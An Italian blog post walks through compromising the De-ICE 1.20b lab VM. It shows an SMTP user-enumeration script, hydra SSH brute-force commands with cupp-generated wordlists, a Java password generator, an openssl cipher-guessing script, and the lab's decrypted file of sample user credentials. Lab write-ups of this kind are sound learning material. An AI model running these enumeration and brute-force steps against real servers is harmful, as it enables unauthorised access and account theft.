giovedì 11 agosto 2011

BackTrack 5 vs De-ICE 1.20 b

Finalmente sono riuscito a concludere anche questa competizione... Come tutti i de-ice fatti finora, lo scopo finale è riuscire ad accedere come utente root al sistema ed ottenere importanti informazioni. Mi sono affidato di nuovo a BackTrack per eseguire tutte le operazioni, anche se questa versione 5 mi sta lasciando un po' l'amaro in bocca per via di tutti quei problemini che si incontrano nell'uso... Intanto aspettiamo settembre per provare la nuova BackBox 2.0, che nella versione 1.05 è riuscita molto bene, anche se la quantità di software offerti da BackTrack è irraggiungibile, e secondo me è più orientata verso una versione LiveCD...

Ritorniamo all'argomento principale... Questa volta niente video, solo screenshots... Come sempre metterò l'elenco completo dei comandi, ma questa volta non mi sono preoccupato di specificare la cartella in cui operavo i comandi... Chiunque arrivi all'ultimo de-ice sa sicuramente come muoversi fra i comandi ed orientarsi in una distribuzione linux... Le immagini sono clickabili per vederle a grandezza corretta...

Per prima cosa avviamo uno scan per identificare gli hosts attivi nella rete e poi approfondiamo sul target scelto evidenziando i servizi attivi sul target stesso:




Subito appena abbiamo a che fare con un web-server controlliamo se nelle sue pagine non ci sia qualche informazione fondamentale...

L'email evidenziata all'inizio può spiazzare... L'email non corrisponde a nessun utente sul server, e nemmeno tramite smtp si ricava qualcosa... Infatti utilizzando il sempre utile nc:

Si ottiene come risposta 550... Utente sconosciuto... Allora ho preferito affidarmi ad uno script in python* che mi ha permesso di elencare tramite attacco dizionario tutti gli utenti sul server smtp, nella speranza poi di avere un riscontro anche sul protocollo ssh. Questo lo script* utilizzato:

#!/usr/bin/python

import getpass
import sys
import telnetlib

host = "192.168.1.20"#raw_input("Digitare IP: ")
port = "25"#raw_input("Digitare porta: ")
users_file = "c.lst"#raw_input("Digitare percorso dizionario: ")
tn = telnetlib.Telnet(host,port)
tn.write("helo x" + "\n")
tn.write("mail from: mito125@slax.example.net" + "\n")
print tn.read_until("Sender ok",1)

inp = open(users_file,"r")
for linea in inp.readlines():
  tn.write("rcpt to: "+ linea)
  print tn.read_until("User unknown",0.1)
inp.close()
tn.write("quit" + "\n")

Io non conosco il python, così come non conosco nessun linguaggio di programmazione, quindi se questo codice è un po' confuso, non fa niente... Alla fine giunge al suo scopo finale.... Si possono notare nell'inizializzazione dei 3 valori host, port, users_file commenti che consentono di avere invece di un valore fisso un valore inserito dall'utente... Basta cancellare il valore predefinito e decommentare il valore raw_input... Io ho utilizzato un dizionario diviso per lettere... Questo perchè più è grande il dizionario, più tempo ci vuole per trovare un valore, più probabilità quindi di ottenere un errore... Io preferisco tanti piccoli dizionari che uno enorme... Con questo codice troviamo che un utente riconosciuto dal sistema è csadmin. I comandi sono alla fine del post... Come ho effettuato un reindirizzamento dell'output su un file, e poi con un grep ho tirato fuori solo i valori interessanti.


Quindi ho dato questo utente in pasto ad hydra, così che con un attacco bruteforce con dizionario sono risalito alla password dell'utente...


Ho scoperto* che indirizzando lo standard error con 2>/dev/null si ottimizza pure hydra, che prova più password al minuto... Adesso lo userò sempre... Con questo utente mi sono collegato via ssh al server remoto... E' un utente semplice, quindi posso navigare solo dentro alla sua home... Non ho possibilità di visualizzare i file importanti presenti in /etc/... Così mi sono recato dentro le sue cartelle ed ho trovato informazioni importanti dentro una email salvata... Grazie a questo esercizio ho appreso l'uso di cupp, common user password profiler, che con delle informazioni ci consente di ottenere una lista di password corta da usare come dizionario... Un bel guadagno di tempo...


Si scoprono informazioni importanti come nomi personali, nomi dei figli, data di nascita dei figli... Servono a cupp proprio per organizzare un dizionario... E' così ho fatto infatti:
Ed ho passato tutto ad hydra per cercare di capire se la password è lì compresa... E' una prova da fare sempre perchè si risparmia tantissimo tempo se il dizionario funziona, e se ne perde molto poco... Quindi al solito:
Tramite il servizio ssh a cui ero già loggato, ho da un semplice "su sdadmin" ed ho inserito la password trovata per poter così entrare nella home dell'ultimo utente trovato, dove ho trovato la stessa cartella di email salvata e 2 file con importanti informazioni... Uno al momento ci serve vedere per trovare allo stesso modo la password per un nuovo utente:

Da qui si trovano nuove informazioni importanti... Che Fred detto "databaser" deve andare alla festa(o forse no, poco importa) ma che possiamo associare "databaser" all'account dbadmin presente sul server... Così con cupp ho cercato un piccolo dizionario con le poche parole presenti, aggiungendo dei numeri casuali alla fine di ogni parola... Ho trovato subito la password databaser60... Purtroppo non ho screenshot... Loggandoci con dbadmin si legge nella solita cartella personale delle righe di codice, e che servono tutte e te le parti(i file part1 part2 e part3) per ricostruire il codice per trovare le password di root e sysadmin... Lasciando perdere il fatto irrealistico di lasciare il codice usato per creare password casuali sul server, ho deciso di non impegolarmi nel linguaggio java... Dalle informazioni presenti si riesce tramite google a capire che quello è un codice java... Io ho tralasciato, ed ho utilizzato il codice postato da g0tm1lk:

import java.io.*;
//import java.util.Arrays;

public class deice
{
 public static void main(String[] args)
 {
    try
    {
       System.out.println("[>] De-ICE.net v1.2b (1.20b) Password Generator");

       BufferedReader in=new BufferedReader(new InputStreamReader(System.in));
       System.out.print("[?] Username: ");
       String input=in.readLine();

       int[] output=processLoop(input);
       //System.out.println("[+] Output: "+Arrays.toString(output));

       String outputASCII="";
       for(int i=0;i<output.length;i++) outputASCII+=(char) output[i];
       System.out.println("[>] Password: "+outputASCII);

    }
    catch(IOException e)
    {
       System.out.println("[-] IO Error!");
    }
 }

 /*input is username of account*/
 public static int[] processLoop(String input){
    int strL=input.length();
    int lChar=(int)input.charAt(strL-1);
    int fChar=(int)input.charAt(0);
    int[] encArr=new int[strL+2];
    encArr[0]=(int)lChar;

    for(int i=1;i<strL+1;i++) encArr[i]=(int)input.charAt(i-1);

    encArr[encArr.length-1]=(int)fChar;
    encArr=backLoop(encArr);
    encArr=loopBack(encArr);
    encArr=loopProcess(encArr);
    int j=encArr.length-1;

    for(int i=0;i<encArr.length;i++){
       if(i==j) break;
       int t=encArr[i];
       encArr[i]=encArr[j];
       encArr[j]=t;
       j--;
    }
    return encArr;
 }

 /*Note the pseudocode will be implemented with the
 root account and my account, we still need to implement it with the csadmin, sdadmin,
 and dbadmin accounts though*/
 public static int[] backLoop(int[] input){
    int ref=input.length;
    int a=input[1];
    int b=input[ref-1];
    int ch=(a+b)/2;

    for(int i=0;i<ref;i++){
       if(i%2==0) input[i]=(input[i]%ch)+(ref+i);
       else input[i]=(input[i]+ref+i);
    }
    return input;
 }

 public static int[] loopBack(int[] input){
    int ref=input.length/2;
    int[] encNew=new int[input.length+ref];
    int ch=0;

    for(int i=(ref/2);i<input.length;i++){
       encNew[i]=input[ch];
       ch++;
    }

    for(int i=0;i<encNew.length;i++){
       if(encNew[i]<=33) encNew[i]=33+(++ref*2);
       else if(encNew[i]>=126) encNew[i]=126-(--ref*2);
       else{
          if(i%2==0) encNew[i]-=(i%3);
          else encNew[i]+=(i%2);
       }
    }
    return encNew;
 }

 public static int[] loopProcess(int[] input){
    for(int i=0;i<input.length;i++){
       if(input[i]==40||input[i]==41) input[i]+=input.length;
       else if(input[i]==45) input[i]+=20+i;
    }
    return input;
 }
}


Anche se sono capace di creare semplici applicazioni android che si basano molto su java, non mi sono messo a riscrivere un codice... Così ho utilizzato questo... Nei comandi si trova il modo di usarlo, ecco il risultato finale:

Abbiamo ora le password di root e sysadmin... Entrando tramite ssh dentro sysadmin, si trova un importante documento che specifica dove trovare il file criptato degli account, dentro la cartella ftp presente in /home/... Ho così copiato semplicemente quel file sul mio computer con:

scp sysadmin@192.168.1.20:/home/ftp/incoming/useracc_update.csv.enc /root/Desktop/

Ed inserendo la password quando richiesta.... Qui ho usato lo script scritto da me in precedenza per la prima versione de-ice che ho concluso:

#!/bin/bash

FILE=$1

for line in $(openssl list-cipher-commands);
do
echo $line;
openssl enc -$line -d -in $FILE -k 31/Fwxw+2 -out $line-deenc.csv;
echo $line >> deenc.txt;
head -n 50 $line-deenc.csv >> deenc.txt;
rm *.csv;
done
kwrite deenc.txt/

Credo di semplicissima comprensione... Così in automatico ottengo alla fine un file (deenc.txt) che mi visualizza le prime 50 linee di ogni decompressione... Solo quella corretta diventa visibile, le altre restano tutte in caratteri strani:

Abbiamo così ottenuto il file cercato... Era criptato tramite aes-256-cbc... Tutto il resto può essere rimosso perchè inutilizzabile... Nello script si nota la presenza della password di root che mi è servita solo in questo caso, per decriptare il tutto...

Comandi

nmap -sP -n 192.168.1.*
nmap -sS -sV -O -n 192.168.1.20
firefox 192.168.1.20
nc 192.168.1.20 25
helo x
mail from: mito125@slax.example.net
rcpt to: customerserviceadmin
./smtp_enum.py > output.txt
cat output.txt | grep Recipient
hydra -l csadmin -P /pentest/passwords/wordlists/divisa/parte28 -e ns -f 192.168.1.20 ssh 2>/dev/null
ssh csadmin@192.168.1.20
cd mailserv_download
cat 2010122014234.j12Gqo4H049241
cd /pentest/passwords/cupp/
./cupp.py -i
hydra -l sdadmin -P paul.txt -e ns -f 192.168.1.20 ssh 2>/dev/null
su sdadmin
cd /home/sdadmin
cd mailserv_download
cat 2010122015043.j15Htu1H341102
./cupp.py -i
hydra -l dbadmin -P fred.txt -e ns -f 192.168.1.20 ssh 2>/dev/null
su dbadmin
strings 2010122216451.f81Ltw4R010211.part1
javac deice.java
java deice
su sysadmin
cd /home/sysadmin
cat Note_to_self
scp sysadmin@192.168.1.20:/home/ftp/incoming/useracc_update.csv.enc /root/Desktop/
./openssl.sh useracc_update.csv.enc 2>/dev/null

aes-256-cbc
ID,Last,First,Email,State,Username,Password,Verifacation Code,Pin code
1000,Carr,Alfred,acarr23@gmail.com,NY,acarr9096,phantom4,952733,490
1001,Karson,William,wkarson53@yahoo.com,NY,wkarson2431,rockallday123,567094,345
1002,Wheeler,Cordy,megawheels98@rocketmail.com,NY,cwheeler5031,goeagles90,462724,631
1003,Smith,Ken,synthesizer_1r@gmail.com,NY,ksmith6253,crystalization,636721,353
1004,Quinn,Cynthia,qcq92@aol.com,NY,cquinn1217,archyandhenry,680247,223
1005,Floyd,Wilson,jukeboxer_4life@gmail.com,NY,wfloyd5931,knockout66,521456,441
1006,Blake,Markus,sil3nt_gunn3r@yahoo.com,NY,mblake6947,268768924,129632,557
1007,Nash,Jillian,wiselife141@aol.com,NY,jnash0934,checkitout1,324672,315
1008,Atkins,Alison,double_a44@hotmail.com,NY,aatkins9087,gogogo123123,457094,124
1009,Oliver,Frank,fog_of_war0001@gmail.com,NY,foliver9385,falconpunch,783143,134
1010,Jones,Edith,msjones677@hotmail.com,NY,ejones7532,chris12345,632620,579
1011,Moore,Cody,aiprojectx@gmail.com,NY,dot_Cipher,crypTrace,101010,1337



Ringraziamenti
4v4t4r di Sec-Track per il codice in python

g0tm1lk per il codice java